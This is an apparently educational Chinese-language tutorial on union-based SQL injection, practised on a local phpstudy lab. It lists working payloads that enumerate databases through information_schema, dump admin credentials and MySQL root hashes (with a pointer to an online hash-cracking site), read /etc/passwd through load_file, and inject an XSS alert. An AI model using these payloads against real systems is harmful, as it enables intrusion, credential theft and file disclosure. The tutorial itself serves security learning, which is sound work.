一、SQL注入原理
1.做sql注入的时候首先改一下环境,如果出现错误的话,先看看是不是因为php版本过高的原因,将版本改为5点几的,到phpstudy中找环境,改版本
修改完毕,再去网站中执行http://127.0.0.1/sql/ 这里的sql是电脑上的一个文件,这个文件就是搭建环境的关键
二、SQL注入演示
1.判断是否存在注入点
2.union
①:union的作用:
——union后面可以继续接select语句
——union可以跨表查询
——union后面查到的结果的列数要和前面的语句一样
——如果union前面的条件执行结果为false,则只显示union后面的结果
3.获取列数
当什么都不知道的时候,如何获取表中都有哪些字段(关键字:order by)
order by 属于排序,但是知道列名才能排序,这里我们就要去试试了
order by 1
order by 2
order by 3
那么到浏览器中怎么去实验呢,如下:
4.获取列在网页上的位置(定位)
知道列数,但是并不知道准确位置,如下如,没有1,也就是id这一列没有,
5.获取数据库
select database()获取我当前所在的是哪个数据库
union select 1,2,3
union select 1,database(),3 ,也就是在2的位置显示查询的结果,带入网页,还是将union左边的改为false,也就是id=-1(union select 1,database(),3 )
user
6.获取数据库是以什么用户登录的 union select 1,user() ,3
7.获取端口号
union select @@port
8.union select 1,@@datadir,3(数据目录信息)
9.获取版本号(找到版本号就有可能直接破解)
union select 1,@@version,3(找到版本号,就可以去网上找针对这个版本的数据库的漏洞)
10.获取表(知道了在哪个库里面,此时就去获取它具体的表)
这里就要用到最重要的一张表(indormation_schema)
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security';
11.获取表中的字段
union SELECT 1,GROUP_CONCAT(column_name),3 FROM `information_schema`.`COLUMNS`
WHERE table_name= 'users';
12.获取字段的值
union SELECT 1, username,PASSWORD
FROM security.users WHERE username LIKE 'admin%';
下图就是获取到admin的账户和密码
13.获取mysql密码
UNION SELECT 1,CONCAT_WS(0x3A, user, password),3 FROM mysql.user WHERE user = 'root'(这个在自己的电脑上显示password有问题)
UNION SELECT 1,CONCAT_WS(0x3A, user, authentication_string),3 FROM mysql.user WHERE user = 'root'
然后将获得的root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9复制,进http://www.cmd5.com
14.获取任意文件内容
UNION SELECT 1,load_file('/etc/passwd'),3
UNION SELECT 1,load_file('/tmp/passwd.txt'),3
15.xss弹窗
UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3